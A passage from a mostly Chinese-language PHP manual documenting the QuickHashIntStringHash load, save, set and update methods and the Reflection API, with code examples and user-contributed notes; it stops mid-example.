QuickHashIntStringHash::loadFromFile — This factory method creates a hash from a file

说明

public static QuickHashIntStringHash::loadFromFile ( string $filename [, int $size = 0 [, int $options = 0 ]] ) : QuickHashIntStringHash

This factory method creates a new hash from a definition file on disk. The file format consists of a signature 'QH\0x12\0', the number of elements as a 32 bit signed integer in system Endianness, an unsigned 32 bit integer containing the number of element data to follow in characters. This element data contains all the strings. After the header and the strings, the elements follow in pairs of two unsigned 32 bit integers where the first one is the key, and the second one the index in the element data string. An example could be:

Example #1 QuickHash IntString file format

00000000  51 48 12 00 02 00 00 00  09 00 00 00 4f 4e 45 00  |QH..........ONE.|
00000010  4e 49 4e 45 00 01 00 00  00 00 00 00 00 03 00 00  |NINE............|
00000020  00 04 00 00 00                                    |.....|
00000025

Example #2 QuickHash IntString file format

header signature ('QH'; key type: 1; value type: 2; filler: \0x00)
00000000  51 48 12 00

number of elements:
00000004  02 00 00 00

length of string values (9 characters):
00000008  09 00 00 00

string values:
0000000C  4f 4e 45 00 4e 49 4e 45  00

data string:
00000015  01 00 00 00 00 00 00 00  03 00 00 00 04 00 00 00

key/value 1 (key = 1, string index = 0 ("ONE")):
01 00 00 00  00 00 00 00

key/value 2 (key = 3, string index = 4 ("NINE")):
03 00 00 00  04 00 00 00

参数

filename

The filename of the file to read the hash from.

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the hash, rounded up to the nearest power of two with a maximum limit of 4194304.

返回值

Returns a new QuickHashIntStringHash.

范例

Example #3 QuickHashIntStringHash::loadFromFile() example

<?php
$file = dirname( __FILE__ ) . "/simple.string.hash";
$hash = QuickHashIntStringHash::loadFromFile(
    $file,
    QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
    printf( "Key %3d (%2x) is %s\n",
        $key, $key,
        $hash->exists( $key ) ? 'set' : 'unset'
    );
}
?>

以上例程的输出类似于：

Key   0 ( 0) is unset
Key   1 ( 1) is set
Key   2 ( 2) is set
Key   3 ( 3) is set
Key   4 ( 4) is unset
Key   5 ( 5) is set
Key   6 ( 6) is unset
Key   7 ( 7) is set
Key   8 ( 8) is unset
Key   9 ( 9) is unset
Key  10 ( a) is unset
Key  11 ( b) is set
Key  12 ( c) is unset
Key  13 ( d) is set
Key  14 ( e) is unset
Key  15 ( f) is unset

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a hash from a string

  • ? QuickHashIntStringHash::loadFromFile
  • QuickHashIntStringHash::saveToFile ?
  • PHP Manual
  • QuickHashIntStringHash
  • This factory method creates a hash from a string

QuickHashIntStringHash::loadFromString

(PECL quickhash >= Unknown)

QuickHashIntStringHash::loadFromString — This factory method creates a hash from a string

说明

public static QuickHashIntStringHash::loadFromString ( string $contents [, int $size = 0 [, int $options = 0 ]] ) : QuickHashIntStringHash

This factory method creates a new hash from a definition in a string. The format is the same as the one used in "loadFromFile".

参数

contents

The string containing a serialized format of the hash.

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the hash, rounded up to the nearest power of two with a maximum limit of 4194304.

返回值

Returns a new QuickHashIntStringHash.

范例

Example #1 QuickHashIntStringHash::loadFromString() example

<?php
$contents = file_get_contents( dirname( __FILE__ ) . "/simple.hash" );
$hash = QuickHashIntStringHash::loadFromString(
    $contents,
    QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
    printf( "Key %3d (%2x) is %s\n",
        $key, $key,
        $hash->exists( $key ) ? 'set' : 'unset'
    );
}
?>

以上例程的输出类似于：

Key   0 ( 0) is unset
Key   1 ( 1) is set
Key   2 ( 2) is set
Key   3 ( 3) is set
Key   4 ( 4) is unset
Key   5 ( 5) is set
Key   6 ( 6) is unset
Key   7 ( 7) is set
Key   8 ( 8) is unset
Key   9 ( 9) is unset
Key  10 ( a) is unset
Key  11 ( b) is set
Key  12 ( c) is unset
Key  13 ( d) is set
Key  14 ( e) is unset
Key  15 ( f) is unset

User Contributed Notes

There are no user contributed notes for this page.


This method stores an in-memory hash to disk

  • ? QuickHashIntStringHash::loadFromString
  • QuickHashIntStringHash::saveToString ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method stores an in-memory hash to disk

QuickHashIntStringHash::saveToFile

(PECL quickhash >= Unknown)

QuickHashIntStringHash::saveToFile — This method stores an in-memory hash to disk

说明

public QuickHashIntStringHash::saveToFile ( string $filename ) : void

This method stores an existing hash to a file on disk, in the same format that loadFromFile() can read.

参数

filename

The filename of the file to store the hash in.

返回值

没有返回值。

范例

Example #1 QuickHashIntStringHash::saveToFile() example

<?php
$hash = new QuickHashIntStringHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, "fourty three" ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, "fifty two" ) );

$hash->saveToFile( '/tmp/test.string.hash' );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method returns a serialized version of the hash

  • ? QuickHashIntStringHash::saveToFile
  • QuickHashIntStringHash::set ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method returns a serialized version of the hash

QuickHashIntStringHash::saveToString

(PECL quickhash >= Unknown)

QuickHashIntStringHash::saveToString — This method returns a serialized version of the hash

说明

public QuickHashIntStringHash::saveToString ( void ) : string

This method returns a serialized version of the hash in the same format that loadFromString() can read.

返回值

This method returns a string containing a serialized format of the hash. Each element is stored as a four byte value in the Endianness that the current system uses.

范例

Example #1 QuickHashIntStringHash::saveToString() example

<?php
$hash = new QuickHashIntStringHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, "thirty four" ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 5, "fifty five" ) );

var_dump( $hash->saveToString() );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

  • ? QuickHashIntStringHash::saveToString
  • QuickHashIntStringHash::update ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

QuickHashIntStringHash::set

(PECL quickhash >= Unknown)

QuickHashIntStringHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

说明

public QuickHashIntStringHash::set ( int $key , string $value ) : int

This method tries to update an entry with a new value. In case the entry did not yet exist, it will instead add a new entry. It returns whether the entry was added or update. If there are duplicate keys, only the first found element will get an updated value. Use QuickHashIntStringHash::CHECK_FOR_DUPES during hash creation to prevent duplicate keys from being part of the hash.

参数

key

The key of the entry to add or update.

value

The value of the entry to add. If a non-string is passed, it will be converted to a string automatically if possible.

返回值

2 if the entry was found and updated, 1 if the entry was newly added or 0 if there was an error.

范例

Example #1 QuickHashIntStringHash::set() example

<?php
$hash = new QuickHashIntStringHash( 1024 );

echo "Set->Add\n";
var_dump( $hash->get( 46692 ) );
var_dump( $hash->set( 46692, "sixteen thousand ninety one" ) );
var_dump( $hash->get( 46692 ) );

echo "Set->Update\n";
var_dump( $hash->set( 46692, "twenty nine thousand nine hundred six" ) );
var_dump( $hash->get( 46692 ) );
?>

以上例程的输出类似于：

Set->Add
bool(false)
int(2)
string(27) "sixteen thousand ninety one"
Set->Update
int(1)
string(37) "twenty nine thousand nine hundred six"

User Contributed Notes

There are no user contributed notes for this page.


This method updates an entry in the hash with a new value

  • ? QuickHashIntStringHash::set
  • 反射 ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method updates an entry in the hash with a new value

QuickHashIntStringHash::update

(PECL quickhash >= Unknown)

QuickHashIntStringHash::update — This method updates an entry in the hash with a new value

说明

public QuickHashIntStringHash::update ( int $key , string $value ) : bool

This method updates an entry with a new value, and returns whether the entry was update. If there are duplicate keys, only the first found element will get an updated value. Use QuickHashIntStringHash::CHECK_FOR_DUPES during hash creation to prevent duplicate keys from being part of the hash.

参数

key

The key of the entry to add.

value

The new value for the entry. If a non-string is passed, it will be converted to a string automatically if possible.

返回值

TRUE when the entry was found and updated, and FALSE if the entry was not part of the hash already.

范例

Example #1 QuickHashIntStringHash::update() example

<?php
$hash->add( 161803398, "--" );
$hash->add( 314159265, "a lot" );

echo $hash->get( 161803398 ), "\n";
echo $hash->get( 314159265 ), "\n";

var_dump( $hash->update( 314159265, "a lot plus one" ) );
var_dump( $hash->update( 314159999, "a lot plus one" ) );

echo $hash->get( 161803398 ), "\n";
echo $hash->get( 314159265 ), "\n";
?>

以上例程的输出类似于：

--
a lot
bool(true)
bool(false)
--
a lot plus one

User Contributed Notes

There are no user contributed notes for this page.


反射

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 范例
  • 扩展
  • Reflection — Reflection 类
    • Reflection::export — Exports
    • Reflection::getModifierNames — 获取修饰符的名称
  • ReflectionClass — ReflectionClass 类
    • ReflectionClass::__construct — 初始化 ReflectionClass 类
    • ReflectionClass::export — 导出一个类
    • ReflectionClass::getConstant — 获取定义过的一个常量
    • ReflectionClass::getConstants — 获取一组常量
    • ReflectionClass::getConstructor — 获取类的构造函数
    • ReflectionClass::getDefaultProperties — 获取默认属性
    • ReflectionClass::getDocComment — 获取文档注释
    • ReflectionClass::getEndLine — 获取最后一行的行数
    • ReflectionClass::getExtension — 根据已定义的类获取所在扩展的 ReflectionExtension 对象
    • ReflectionClass::getExtensionName — 获取定义的类所在的扩展的名称
    • ReflectionClass::getFileName — 获取定义类的文件名
    • ReflectionClass::getInterfaceNames — 获取接口（interface）名称
    • ReflectionClass::getInterfaces — 获取接口
    • ReflectionClass::getMethod — 获取一个类方法的 ReflectionMethod。
    • ReflectionClass::getMethods — 获取方法的数组
    • ReflectionClass::getModifiers — 获取类的修饰符
    • ReflectionClass::getName — 获取类名
    • ReflectionClass::getNamespaceName — 获取命名空间的名称
    • ReflectionClass::getParentClass — 获取父类
    • ReflectionClass::getProperties — 获取一组属性
    • ReflectionClass::getProperty — 获取类的一个属性的 ReflectionProperty
    • ReflectionClass::getReflectionConstant — Gets a ReflectionClassConstant for a class's constant
    • ReflectionClass::getReflectionConstants — Gets class constants
    • ReflectionClass::getShortName — 获取短名
    • ReflectionClass::getStartLine — 获取起始行号
    • ReflectionClass::getStaticProperties — 获取静态（static）属性
    • ReflectionClass::getStaticPropertyValue — 获取静态（static）属性的值
    • ReflectionClass::getTraitAliases — 返回 trait 别名的一个数组
    • ReflectionClass::getTraitNames — 返回这个类所使用 traits 的名称的数组
    • ReflectionClass::getTraits — 返回这个类所使用的 traits 数组
    • ReflectionClass::hasConstant — 检查常量是否已经定义
    • ReflectionClass::hasMethod — 检查方法是否已定义
    • ReflectionClass::hasProperty — 检查属性是否已定义
    • ReflectionClass::implementsInterface — 接口的实现
    • ReflectionClass::inNamespace — 检查是否位于命名空间中
    • ReflectionClass::isAbstract — 检查类是否是抽象类（abstract）
    • ReflectionClass::isAnonymous — 检查类是否是匿名类
    • ReflectionClass::isCloneable — 返回了一个类是否可复制
    • ReflectionClass::isFinal — 检查类是否声明为 final
    • ReflectionClass::isInstance — 检查类的实例
    • ReflectionClass::isInstantiable — 检查类是否可实例化
    • ReflectionClass::isInterface — 检查类是否是一个接口（interface）
    • ReflectionClass::isInternal — 检查类是否由扩展或核心在内部定义
    • ReflectionClass::isIterable — Check whether this class is iterable
    • ReflectionClass::isIterateable — 检查是否可迭代（iterateable）
    • ReflectionClass::isSubclassOf — 检查是否为一个子类
    • ReflectionClass::isTrait — 返回了是否为一个 trait
    • ReflectionClass::isUserDefined — 检查是否由用户定义的
    • ReflectionClass::newInstance — 从指定的参数创建一个新的类实例
    • ReflectionClass::newInstanceArgs — 从给出的参数创建一个新的类实例。
    • ReflectionClass::newInstanceWithoutConstructor — 创建一个新的类实例而不调用它的构造函数
    • ReflectionClass::setStaticPropertyValue — 设置静态属性的值
    • ReflectionClass::__toString — 返回 ReflectionClass 对象字符串的表示形式。
  • ReflectionClassConstant — The ReflectionClassConstant class
    • ReflectionClassConstant::__construct — Constructs a ReflectionClassConstant
    • ReflectionClassConstant::export — Export
    • ReflectionClassConstant::getDeclaringClass — Gets declaring class
    • ReflectionClassConstant::getDocComment — Gets doc comments
    • ReflectionClassConstant::getModifiers — Gets the class constant modifiers
    • ReflectionClassConstant::getName — Get name of the constant
    • ReflectionClassConstant::getValue — Gets value
    • ReflectionClassConstant::isPrivate — Checks if class constant is private
    • ReflectionClassConstant::isProtected — Checks if class constant is protected
    • ReflectionClassConstant::isPublic — Checks if class constant is public
    • ReflectionClassConstant::__toString — Returns the string representation of the ReflectionClassConstant object
  • ReflectionZendExtension — ReflectionZendExtension 类
    • ReflectionZendExtension::__clone — Clone handler
    • ReflectionZendExtension::__construct — Constructor
    • ReflectionZendExtension::export — Export
    • ReflectionZendExtension::getAuthor — Gets author
    • ReflectionZendExtension::getCopyright — Gets copyright
    • ReflectionZendExtension::getName — Gets name
    • ReflectionZendExtension::getURL — Gets URL
    • ReflectionZendExtension::getVersion — Gets version
    • ReflectionZendExtension::__toString — To string handler
  • ReflectionExtension — ReflectionExtension 类
    • ReflectionExtension::__clone — Clones
    • ReflectionExtension::__construct — Constructs a ReflectionExtension
    • ReflectionExtension::export — Export
    • ReflectionExtension::getClasses — Gets classes
    • ReflectionExtension::getClassNames — 获取类名称
    • ReflectionExtension::getConstants — 获取常量
    • ReflectionExtension::getDependencies — 获取依赖
    • ReflectionExtension::getFunctions — 获取扩展中的函数
    • ReflectionExtension::getINIEntries — 获取ini配置
    • ReflectionExtension::getName — 获取扩展名称
    • ReflectionExtension::getVersion — 获取扩展版本号
    • ReflectionExtension::info — 输出扩展信息
    • ReflectionExtension::isPersistent — 返回扩展是否持久化载入
    • ReflectionExtension::isTemporary — 返回扩展是否是临时载入
    • ReflectionExtension::__toString — To string
  • ReflectionFunction — ReflectionFunction 类
    • ReflectionFunction::__construct — Constructs a ReflectionFunction object
    • ReflectionFunction::export — Exports function
    • ReflectionFunction::getClosure — Returns a dynamically created closure for the function
    • ReflectionFunction::invoke — Invokes function
    • ReflectionFunction::invokeArgs — Invokes function args
    • ReflectionFunction::isDisabled — Checks if function is disabled
    • ReflectionFunction::__toString — To string
  • ReflectionFunctionAbstract — ReflectionFunctionAbstract 类
    • ReflectionFunctionAbstract::__clone — 复制函数
    • ReflectionFunctionAbstract::getClosureScopeClass — Returns the scope associated to the closure
    • ReflectionFunctionAbstract::getClosureThis — 返回本身的匿名函数
    • ReflectionFunctionAbstract::getDocComment — 获取注释内容
    • ReflectionFunctionAbstract::getEndLine — 获取结束行号
    • ReflectionFunctionAbstract::getExtension — 获取扩展信息
    • ReflectionFunctionAbstract::getExtensionName — 获取扩展名称
    • ReflectionFunctionAbstract::getFileName — 获取文件名称
    • ReflectionFunctionAbstract::getName — 获取函数名称
    • ReflectionFunctionAbstract::getNamespaceName — 获取命名空间
    • ReflectionFunctionAbstract::getNumberOfParameters — 获取参数数目
    • ReflectionFunctionAbstract::getNumberOfRequiredParameters — 获取必须输入参数个数
    • ReflectionFunctionAbstract::getParameters — 获取参数
    • ReflectionFunctionAbstract::getReturnType — Gets the specified return type of a function
    • ReflectionFunctionAbstract::getShortName — 获取函数短名称
    • ReflectionFunctionAbstract::getStartLine — 获取开始行号
    • ReflectionFunctionAbstract::getStaticVariables — 获取静态变量
    • ReflectionFunctionAbstract::hasReturnType — Checks if the function has a specified return type
    • ReflectionFunctionAbstract::inNamespace — 检查是否处于命名空间
    • ReflectionFunctionAbstract::isClosure — 检查是否是匿名函数
    • ReflectionFunctionAbstract::isDeprecated — 检查是否已经弃用
    • ReflectionFunctionAbstract::isGenerator — 判断函数是否是一个生成器函数
    • ReflectionFunctionAbstract::isInternal — 判断函数是否是内置函数
    • ReflectionFunctionAbstract::isUserDefined — 检查是否是用户定义
    • ReflectionFunctionAbstract::isVariadic — Checks if the function is variadic
    • ReflectionFunctionAbstract::returnsReference — 检查是否返回参考信息
    • ReflectionFunctionAbstract::__toString — 字符串化
  • ReflectionMethod — ReflectionMethod 类
    • ReflectionMethod::__construct — ReflectionMethod 的构造函数
    • ReflectionMethod::export — 输出一个回调方法
    • ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口，译者注：可以使用这个返回值直接调用非公开方法。
    • ReflectionMethod::getDeclaringClass — 获取反射函数调用参数的类表达
    • ReflectionMethod::getModifiers — 获取方法的修饰符
    • ReflectionMethod::getPrototype — 返回方法原型 (如果存在)
    • ReflectionMethod::invoke — Invoke
    • ReflectionMethod::invokeArgs — 带参数执行
    • ReflectionMethod::isAbstract — 判断方法是否是抽象方法
    • ReflectionMethod::isConstructor — 判断方法是否是构造方法
    • ReflectionMethod::isDestructor — 判断方法是否是析构方法
    • ReflectionMethod::isFinal — 判断方法是否定义 final
    • ReflectionMethod::isPrivate — 判断方法是否是私有方法
    • ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)
    • ReflectionMethod::isPublic — 判断方法是否是公开方法
    • ReflectionMethod::isStatic — 判断方法是否是静态方法
    • ReflectionMethod::setAccessible — 设置方法是否访问
    • ReflectionMethod::__toString — 返回反射方法对象的字符串表达
  • ReflectionObject — ReflectionObject 类
    • ReflectionObject::__construct — Constructs a ReflectionObject
    • ReflectionObject::export — Export
  • ReflectionParameter — ReflectionParameter 类
    • ReflectionParameter::allowsNull — Checks if null is allowed
    • ReflectionParameter::canBePassedByValue — Returns whether this parameter can be passed by value
    • ReflectionParameter::__clone — Clone
    • ReflectionParameter::__construct — Construct
    • ReflectionParameter::export — Exports
    • ReflectionParameter::getClass — 获得类型提示类。
    • ReflectionParameter::getDeclaringClass — Gets declaring class
    • ReflectionParameter::getDeclaringFunction — Gets declaring function
    • ReflectionParameter::getDefaultValue — Gets default parameter value
    • ReflectionParameter::getDefaultValueConstantName — Returns the default value's constant name if default value is constant or null
    • ReflectionParameter::getName — Gets parameter name
    • ReflectionParameter::getPosition — Gets parameter position
    • ReflectionParameter::getType — Gets a parameter's type
    • ReflectionParameter::hasType — Checks if parameter has a type
    • ReflectionParameter::isArray — Checks if parameter expects an array
    • ReflectionParameter::isCallable — Returns whether parameter MUST be callable
    • ReflectionParameter::isDefaultValueAvailable — 检查是否有默认值。
    • ReflectionParameter::isDefaultValueConstant — Returns whether the default value of this parameter is a constant
    • ReflectionParameter::isOptional — Checks if optional
    • ReflectionParameter::isPassedByReference — Checks if passed by reference
    • ReflectionParameter::isVariadic — Checks if the parameter is variadic
    • ReflectionParameter::__toString — To string
  • ReflectionProperty — ReflectionProperty 类
    • ReflectionProperty::__clone — Clone
    • ReflectionProperty::__construct — Construct a ReflectionProperty object
    • ReflectionProperty::export — Export
    • ReflectionProperty::getDeclaringClass — Gets declaring class
    • ReflectionProperty::getDocComment — Gets the property doc comment
    • ReflectionProperty::getModifiers — Gets the property modifiers
    • ReflectionProperty::getName — Gets property name
    • ReflectionProperty::getValue — Gets value
    • ReflectionProperty::isDefault — Checks if property is a default property
    • ReflectionProperty::isPrivate — Checks if property is private
    • ReflectionProperty::isProtected — Checks if property is protected
    • ReflectionProperty::isPublic — Checks if property is public
    • ReflectionProperty::isStatic — Checks if property is static
    • ReflectionProperty::setAccessible — Set property accessibility
    • ReflectionProperty::setValue — Set property value
    • ReflectionProperty::__toString — To string
  • ReflectionType — The ReflectionType class
    • ReflectionType::allowsNull — Checks if null is allowed
    • ReflectionType::isBuiltin — Checks if it is a built-in type
    • ReflectionType::__toString — To string
  • ReflectionGenerator — 生成器反射类
    • ReflectionGenerator::__construct — Constructs a ReflectionGenerator object
    • ReflectionGenerator::getExecutingFile — Gets the file name of the currently executing generator
    • ReflectionGenerator::getExecutingGenerator — Gets the executing Generator object
    • ReflectionGenerator::getExecutingLine — Gets the currently executing line of the generator
    • ReflectionGenerator::getFunction — Gets the function name of the generator
    • ReflectionGenerator::getThis — Gets the $this value of the generator
    • ReflectionGenerator::getTrace — Gets the trace of the executing generator
  • Reflector — Reflector 接口
    • Reflector::export — Exports
    • Reflector::__toString — 转化成字符串
  • ReflectionException — ReflectionException 类

User Contributed Notes

There are no user contributed notes for this page.


简介

PHP 5 具有完整的反射 API，添加了对类、接口、函数、方法和扩展进行反向工程的能力。 此外，反射 API 提供了方法来取出函数、类和方法中的文档注释。

请注意部分内部 API 丢失了反射扩展工作所需的代码。 例如，一个内置的 PHP 类可能丢失了反射属性的数据。这些少数的情况被认为是错误，不过， 正因为如此，它们应该被发现和修复。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

每个类描述了它自己的常量。

User Contributed Notes

sadisticnepal3339 at gmail dot com 27-Mar-2018 11:35
PHP user-defined constant can be like this:

define('APP',
[
  'name'=>'Sadish',
  'hobby'=>'Coding',
   'occupation'=>'student'
]);

Here, APP is the user-defined constant which is defined using define() function available in PHP.

Also, Simply anything, like this :
  define('APP','Demo PHP');
 is a user-defined constant, which basically replaces any code available in PHP named as APP with the value 'Demo PHP'.


范例

在反射文档中存在很多例子，通常位于每个类的 __construct 文档中。

Example #1 Shell 里的一个反射例子（一个终端）

$ php --rf strlen
$ php --rc finfo
$ php --re json
$ php --ri dom

以上例程的输出类似于：

Function [ <internal:Core> function strlen ] {

  - Parameters [1] {
    Parameter #0 [ <required> $str ]
  }
}

Class [ <internal:fileinfo> class finfo ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [0] {
  }

  - Methods [4] {
    Method [ <internal:fileinfo, ctor> public method finfo ] {

      - Parameters [2] {
        Parameter #0 [ <optional> $options ]
        Parameter #1 [ <optional> $arg ]
      }
    }

    Method [ <internal:fileinfo> public method set_flags ] {

      - Parameters [1] {
        Parameter #0 [ <required> $options ]
      }
    }

    Method [ <internal:fileinfo> public method file ] {

      - Parameters [3] {
        Parameter #0 [ <required> $filename ]
        Parameter #1 [ <optional> $options ]
        Parameter #2 [ <optional> $context ]
      }
    }

    Method [ <internal:fileinfo> public method buffer ] {

      - Parameters [3] {
        Parameter #0 [ <required> $string ]
        Parameter #1 [ <optional> $options ]
        Parameter #2 [ <optional> $context ]
      }
    }
  }
}

Extension [ <persistent> extension #23 json version 1.2.1 ] {

  - Constants [10] {
    Constant [ integer JSON_HEX_TAG ] { 1 }
    Constant [ integer JSON_HEX_AMP ] { 2 }
    Constant [ integer JSON_HEX_APOS ] { 4 }
    Constant [ integer JSON_HEX_QUOT ] { 8 }
    Constant [ integer JSON_FORCE_OBJECT ] { 16 }
    Constant [ integer JSON_ERROR_NONE ] { 0 }
    Constant [ integer JSON_ERROR_DEPTH ] { 1 }
    Constant [ integer JSON_ERROR_STATE_MISMATCH ] { 2 }
    Constant [ integer JSON_ERROR_CTRL_CHAR ] { 3 }
    Constant [ integer JSON_ERROR_SYNTAX ] { 4 }
  }

  - Functions {
    Function [ <internal:json> function json_encode ] {

      - Parameters [2] {
        Parameter #0 [ <required> $value ]
        Parameter #1 [ <optional> $options ]
      }
    }
    Function [ <internal:json> function json_decode ] {

      - Parameters [3] {
        Parameter #0 [ <required> $json ]
        Parameter #1 [ <optional> $assoc ]
        Parameter #2 [ <optional> $depth ]
      }
    }
    Function [ <internal:json> function json_last_error ] {

      - Parameters [0] {
      }
    }
  }
}

dom

DOM/XML => enabled
DOM/XML API Version => 20031129
libxml Version => 2.7.3
HTML Support => enabled
XPath Support => enabled
XPointer Support => enabled
Schema Support => enabled
RelaxNG Support => enabled

User Contributed Notes

paulo dot castro48 at gmail dot com 19-Feb-2017 02:18
Note: This is useful when you're manually parsing php by file before to get work done, wich is impossible to do without getting files externally.
Now you can parse without getting the file contents by using refection objects.
spectrum at bigmir dot net 28-Dec-2010 02:11
Simple table generation using Reflection:

<?php

class A
{
    public    $name = 'Vasiliy';
    public    $text = 'Once upon a time';
}

class B
{
    public    $name = 'Had bought a cat';
    public    $text = 'named Valentine';
}

class grid
{
    public function build(  $dataSource, $headers, $fields  )
    {
        $result = '<table border="1">';
        $result .= $this -> make_head( $headers );

        foreach ($dataSource as $source):
            $class_name = get_class($source);
            if ( $class_name != FALSE ):
                $reflector = new ReflectionClass($source);
                echo 'Class "'. $class_name .'" found.<br />';
                $result .= $this -> make_row( $reflector, $fields, $source );
            endif;
        endforeach;

        $result .= '</table>';
        return $result;
    }

    private function make_head( $headers )
    {
        $result = '<tr>';
        foreach ( $headers as $header):
            $result .= "<th>$header</th>";
        endforeach;
        $result .= '</tr>';
        return $result;
    }

    private function make_row( $reflector, $fields, $source )
    {
        $result = '<tr>';
        foreach ( $fields as $field ):
            if ( $reflector -> hasProperty($field) ):
                $property = $reflector -> getProperty($field);
                $result .= '<td>'. $property -> getValue($source) .'</td>';
            endif;
        endforeach;
        $result .= '</tr>';
        return $result;
    }
}

$A = new A;
$B = new B;
$C = 'Test';

$dataSource = array( $A, $B, $C );
$headers = array( 'H1', 'H2' );
$fields = array( 'name', 'text' );

$grid = new grid;
$table = $grid -> build( $dataSource, $headers, $fields );
echo $table;

?>
Kovin 18-May-2009 02:00
If you want to use method closures and don't have PHP 5.3, perhaps you find useful the following function
<?php
    function get_method_closure($object,$method_name){
        if(method_exists(get_class($object),$method_name)){
            $func            = create_function( '',
                            '
                                $args            = func_get_args();
                                static $object    = NULL;

                                /*
                                * Check if this function is being called to set the static $object, which
                                * containts scope information to invoke the method
                                */
                                if(is_null($object) && count($args) && get_class($args[0])=="'.get_class($object).'"){
                                    $object = $args[0];
                                    return;
                                }

                                if(!is_null($object)){
                                    return call_user_func_array(array($object,"'.$method_name.'"),$args);
                                }else{
                                    return FALSE;
                                }'
                            );

            //Initialize static $object
            $func($object);

            //Return closure
            return $func;
        }else{
            return false;
        }
    }
?>
Here is how you would use it:
<?php
class foo{
    public function bar($foo){
        return strtolower($foo);
    }
}

$foo = new foo();
$f = get_method_closure($foo,'bar');
echo $f("BAR");//Prints 'bar'
?>


扩展

如果你想创建内建类的专门版本（比如说，在创建并导出高亮 HTML 时，以易于访问的成员变量来取代方法或使用实用的方法）， 你可以继续并扩展它们。

Example #1 扩展内置的类

<?php
/**
 * My Reflection_Method class
 */
class My_Reflection_Method extends ReflectionMethod
{
    public $visibility = array();

    public function __construct($o, $m)
    {
        parent::__construct($o, $m);
        $this->visibility = Reflection::getModifierNames($this->getModifiers());
    }
}

/**
 * Demo class #1
 *
 */
class T {
    protected function x() {}
}

/**
 * Demo class #2
 *
 */
class U extends T {
    function x() {}
}

// 输出信息
var_dump(new My_Reflection_Method('U', 'x'));
?>

以上例程的输出类似于：

object(My_Reflection_Method)#1 (3) {
  ["visibility"]=>
  array(1) {
    [0]=>
    string(6) "public"
  }
  ["name"]=>
  string(1) "x"
  ["class"]=>
  string(1) "U"
}
Caution

如果你重写了构造函数，记住在写任何插入的代码之前要先调用父类的构造函数。 不这么做将会导致以下的结果： Fatal error: Internal error: Failed to retrieve the reflection object

User Contributed Notes

khelaz at gmail dot com 28-Apr-2011 11:12
Extending class ReflectionFunction to get source code of function

<?php
class Custom_Reflection_Function extends ReflectionFunction {

    public function getSource() {
        if( !file_exists( $this->getFileName() ) ) return false;

        $start_offset = ( $this->getStartLine() - 1 );
        $end_offset   = ( $this->getEndLine() - $this->getStartLine() ) + 1;

        return join( '', array_slice( file( $this->getFileName() ), $start_offset, $end_offset ) );
    }
}
?>


Reflection 类

(PHP 5, PHP 7)

简介

反射（reflection）类。

类摘要

Reflection {
/* 方法 */
public static export ( Reflector $reflector [, bool $return = false ] ) : string
public static getModifierNames ( int $modifiers ) : array
}

Table of Contents

  • Reflection::export — Exports
  • Reflection::getModifierNames — 获取修饰符的名称

User Contributed Notes

apmithani at yahoo dot com 26-Aug-2010 09:05
Here is a code snippet for some of us who are just beginning with reflection. I have a simple class below with two properties and two methods. We will use reflection classes to populate the properties dynamically and then print them:

<?php

class A
{
    public $one = '';
    public $two = '';

    //Constructor
    public function __construct()
    {
        //Constructor
    }

    //print variable one
    public function echoOne()
    {
        echo $this->one."\n";
    }

    //print variable two
    public function echoTwo()
    {
        echo $this->two."\n";
    }
}

//Instantiate the object
$a = new A();

//Instantiate the reflection object
$reflector = new ReflectionClass('A');

//Now get all the properties from class A in to $properties array
$properties = $reflector->getProperties();

$i =1;
//Now go through the $properties array and populate each property
foreach($properties as $property)
{
    //Populating properties
    $a->{$property->getName()}=$i;
    //Invoking the method to print what was populated
    $a->{"echo".ucfirst($property->getName())}()."\n";

    $i++;
}

?>


Exports

  • ? Reflection
  • Reflection::getModifierNames ?
  • PHP Manual
  • Reflection
  • Exports

Reflection::export

(PHP 5, PHP 7)

Reflection::export — Exports

说明

public static Reflection::export ( Reflector $reflector [, bool $return = false ] ) : string

导出一个反射（reflection）。

Warning

本函数还未编写文档，仅有参数列表。

参数

reflector

导出的反射。

return

设为 TRUE 时返回导出结果，设为 FALSE（默认值）则忽略返回。

返回值

如果参数 return 设为 TRUE，导出结果将作为 string 返回，否则返回 NULL。

参见

  • Reflection::getModifierNames() - 获取修饰符的名称

User Contributed Notes

There are no user contributed notes for this page.


获取修饰符的名称

  • ? Reflection::export
  • ReflectionClass ?
  • PHP Manual
  • Reflection
  • 获取修饰符的名称

Reflection::getModifierNames

(PHP 5, PHP 7)

Reflection::getModifierNames — 获取修饰符的名称

说明

public static Reflection::getModifierNames ( int $modifiers ) : array

获取修饰符的名称。

参数

modifiers

根据标志位域获取修饰符。

返回值

修饰符名称的一个数组。

范例

Example #1 Reflection::getModifierNames() 例子

<?php
class Testing
{
    final public static function foo()
    {
        return;
    }

    public function bar()
    {
        return;
    }
}

$foo = new ReflectionMethod('Testing', 'foo');

